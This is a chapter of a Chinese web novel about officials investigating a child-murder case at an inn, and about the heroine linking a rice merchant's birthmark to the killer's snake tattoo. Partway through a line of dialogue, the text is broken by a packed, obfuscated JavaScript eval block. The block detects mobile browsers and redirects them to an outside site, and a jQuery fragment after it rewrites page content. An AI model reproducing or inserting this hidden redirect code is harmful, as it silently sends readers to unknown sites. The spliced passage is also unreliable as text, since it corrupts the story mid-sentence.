5. 第 5 章
作品:《夫人她每天都在扮可怜》 他耐不住,眼神转向了主心骨儿:“明昭。”
“你到底有没有看出什么名堂?”
眼下如果那浑身泥巴的慕行雪当真不是凶手同伙,那谢辛也是真看不出来,没想法了。就像方松蓝说的,其他人的供词,都很完美。
又有谁像凶手的同伙呢?
谢青珏思忖着,闻言与他细细梳理。慢慢道着:
“除了那名手被香灰烫出痕迹,指尖因为烧香留下红印、梳着妇人头、身上且带着疗伤止痛的淡淡元胡药味的妇人没有扯谎外,其余几人是都不能排除嫌疑。”
只是,他暂且还想不通为何另一人身上也有那么重的桐油味?按理说,他们两个,应当没有多少关联才是。
听罢,谢辛和方松蓝同时一怔。
他的意思明确。除开那名妇人,剩下的几个都有问题。
“这样一说,那老和尚也值得推敲。”谢辛揣测说,“或许他旁边的男童是被提前拐抓来当幌子的,扮作小沙弥,任谁都不会怀疑。”
他顿了一下,又说,
“但…突然冒出个小孩太不合常理,那老和尚身上又确实没有什么受伤的痕迹。”
方松蓝:“大人可以肯定他受了伤吗?”
谢辛摇头:“麻烦就在这。”
“我当时追的时候,也确实看不清自己的剑到底刺中了没有,又刺中了那凶手哪里。”
凶徒喜爱稚嫩的孩童,又是雨天出没,拐抓的都是带着最时兴、胸前配有长命锁的男童。
于是前日,他们部署了一套方案,准备利用僬侥引出凶徒。
不想今日雨夜计划果真成功,两名凶手刚想犯案,就被他们抓个正着。可惜的是他们早有预备,当场用了无色无味的迷香,又身手极好的逃之夭夭。
天色昏暗,凶手他们有计谋的兵分两路,两兄弟顿悟。由谢辛紧追那身材矮小的凶徒,而谢青珏则是循线追着那身材高大的大块头。
混乱中,谢辛急迫,顾不得自己被利剑划伤,用稳稳出鞘的剑直直朝那歹徒冲去。可那歹徒狡猾,竟用竹林做掩,利落隐匿了身影。
剑掉落在地,被雨冲刷,和水混作一起。不知是谁的血。
堪堪追去,就见那歹徒往通元客栈的方向过去,而他也和前头的谢青珏打了个照面。四人只在那一瞬在同一地点相见,随后又前后并行着分开。齐齐跟丢。
谢青珏循线。到了栈外再次看到了那个大块头。
欲放出利器拦下,偏巧前头站了个姑娘,阻滞了他的暗器和步子,让那大块头消失得无影无踪。
幸而余下捕快利落紧咬,跟随着谢辛亦是在几道必经之路上作围。才令那凶徒插翅难飞。
可惜的是,只留下了一个,那个大块头提前窜走,没有逮住。
“被剑所伤一看便知,那挑夫脚跟洇血,显然是皮肤燥干皲裂所致,而其他两人又都没有在表面看见什么剑伤的痕迹。除了……”
“那姑娘包得紧紧、不知为何缘由受伤的手。”
方松蓝还是怀疑着慕行雪。
但凶徒受没受伤还是未知,兜兜转转,六人还是有嫌疑。只不过他觉得她的可能性更大一些。凶徒一不见踪影,她就出了现,未免太凑巧。
“也不怪方大人还怀疑着,”谢辛搭腔,“那姑娘实在疑点诸多。”
“该对上的不该对上的都对上了。倘若真有人撒谎露出端倪,应当就是她。”
他下了定论。
几人在这讨论的激烈,捕快净远蓦地走了过来,看来想汇报些什么情况。
结果他们齐齐抬头一看,眼前不见一人,凶嫌们全都走了。
谢辛:“人呢?”
净远不好意思的说,“几位大人,我正想和你们说呢。”
“你们审问的时间太长。那挑夫耐不住,就说要去茅房,结果他开口一走,大家伙就全走了。”
“有人说要跟着去,有人嚷着说别耽误小孩睡觉,有人则是说要换衣裳……”
他本来觉得没什么,可看着两位大人的脸色,越说,那声音越低。
谢辛:“所以…全放走了?”
“不是,你们也太好说话了点罢?我跟你们要点银子怎么不见这么爽快?”
净远弱弱道:“大人。这一码归一码呢。”
谢辛:“……”
他深呼吸,“有没有派人跟着?”
净远:“当然。那是属下们的职责。大人放心,闫勇跟着那几个男的呢。”
这还差不多。
谢辛刚放下心,结果意识到了不对。
反应过来,他眯了眼:“嗯?什么意思?姑娘没跟?”
净远:“小的这不就是想来请示大人们该怎么办嘛,总不能人家姑娘说换衣裳,还团团围着罢。”
谢辛要掐人中了。
方松蓝看出来,也是头痛,直接就骂:“混账,现在查案讲什么男女有别?”
“姑娘怎么了,姑娘也很可能就是这小儿掏心案的凶手啊。”
净远:“是……属下知错。”
方松蓝连连摇头骂道:“你瞧瞧你们,真是吃干粮的。一群成事不足败事有余的东西。”
“@!#¥@……”
谢辛冷哼。净远头更低了。
就在他们两人恨铁不成钢,准备下来好好培养下属素养之时,后头一直无言的谢青珏翻开了早先合上的那本账簿。
……
慕行雪实在受不了自己身上那股尸水和雨水混在一团的气味儿,见他们全都要离开,也打算上二楼,换套衣裳。
可在与两三人在楼梯并行而过时,她却心起疑窦。
因为其中有张脸,她这会儿才发觉好像有些怪异。
正在她停下步子端详那米铺老板时,他也睨了她一眼,跟着捕快走到了走廊尽头的房间。
明夏见慕行雪步子停下,回头问,“怎么了小姐?”
慕行雪闻言,也收回了视线,摇摇头跟上,回,“…没。”
那老和尚抱着睡着的小沙弥,也模样怪怪看了她们一眼,进了慕行雪隔壁的房间了。天都快亮,老板娘让了一间房给他们休息着。
掩下房门,锁上门栓。明夏整理着衣裳,见慕行雪还在若有所思,浅笑着就问:
“小姐怎么了?”
“难不成是见到谢三公子真人,高兴得不知所云了?”
明夏刚才特意有望,见到她痴痴地盯着谢青珏,心里也是替见到情郎的慕行雪开心。
慕行雪闻言,解着袖口的手一顿,小脸更是皲裂。
高兴?那是从哪看出来的?她明明快恼死了。
暗道一句。她一边脱了外衣,一边回,“明夏,你别打趣我了。”
明夏替她拿下满是泥巴的衣裳,听她语气,只当羞赧,“是,明夏不说了。”
余光望见水盆是老板娘送来的干净水,她道,“这水有些冷了,我去换盆热水来罢。”
慕行雪怕麻烦,“不用,冷水擦身子也行。”
明夏犹豫,“会不会落下病呀?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589638|171836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那有什么关系,人生了病才会更皮实。”慕行雪说,“下次要是病了就会好得更快些。”
明夏被逗乐,“好像也是。”
她回道,旋即也拿起湿布用力攥干,握了握留些手上的体温才放到慕行雪的皮肤上。
静静擦着身体。慕行雪还在想方才那个米铺老板。和他锁骨上方形状怪异的胎记。
可搜寻了记忆一遍,她却怎么想都想不起来到底自己为何觉得他怪。
是在哪里见过?还是哪个认识的人?
可那不应该。
只要见过她都会有印象才是。
明夏帮她擦着身子,很快发现她的右脚踝红肿一片,肿了起来。
她蹙眉,连忙问着:“小姐,你这也是跌进坑里摔的吗?”
慕行雪回神,见她问也回,擦着头发,“嗯。摔进去的时候不小心扭到了,不过我已经把骨头接了回去,大概明天就可以消肿了。”
只要消了肿,轻功用起来那也不是问题。
明夏瞧她方才健步如飞,以为没多大问题,没想到竟是这般恐怖的伤口,心底不由得有些懊恼。
急的连忙拿了祝瑶临走前托的药油给她擦,“小姐以后切莫瞒着明夏了。这可不是小伤,伤筋动骨的事,哪能那么快就好呢?”
慕行雪望着她,正欲开声说着什么。
可脑子里却陡然闪过一道灵光——
她低声,“是他?”
是。她现在才想起,谢青珏追着的那人虽说头戴草帽,将眉眼掩得死死,可脖颈处却有一道惹眼的绿色小蛇蜿蜒。
绿色小蛇……
绿色小蛇?
慕行雪暗道,忽然明晰了掉下洞的那一瞬间,凶手俯视着望她的那张脸。
以及方才在身旁一晃而过的米铺老板。
巧合的是,他锁骨到喉结之间的胎记与那凶徒刺青重叠,所连接的七寸部位又相同。若是那领子往下一扯,定也是一条相同的青蛇。
难道,这两人……?
她想到这,思绪便戛然而止。快快扣住了衣裳扣子,拉起明夏就道,“我想我们得下去了,明夏。”
可她话音才落,就听外头留守的捕快们噔噔噔大阵仗下楼又上楼的声音——
步子似乎停在了她们的隔壁。
雕花木门大打开。映入眼帘的是那群捕快悉数围在老和尚房门口的场面。
有人在那喊着:“快快!你也跟着去请郎中!”
慕行雪心下一沉,挤进前头一看,不想竟是那小沙弥满脸惊怖,脸色青紫,在地上口吐白沫,一搭一搭的抽搐着。
老和尚也正把成团的帕子塞进了他的嘴里。
又一手扶着他的脑袋。
“这是怎么了?”慕行雪半蹲下来,蹙眉问。
那老和尚冷汗层层,溢出的汗隐匿在了白眉里,解释着说,“他自小就有这样的病,总是到了某个时候,就会发作起来,不仅吐沫子,还会咬自己的舌头。”
吐沫子,还咬自己?
慕行雪没见过这么古怪的病。
就在这会儿——
“来来来,老师傅,你要的桐油来了。”
掌柜的端来一小盏桐油,同样半蹲了下来,“你说怎么用?”
老和尚没多说什么,把那桐油倒在手里,像是要往小沙弥鼻子里头灌。
慕行雪刚要阻止。
下一瞬,却看一颗小石子打了过来,刚好击中了老和尚的手。
令那桐油侧翻,
洒了一地。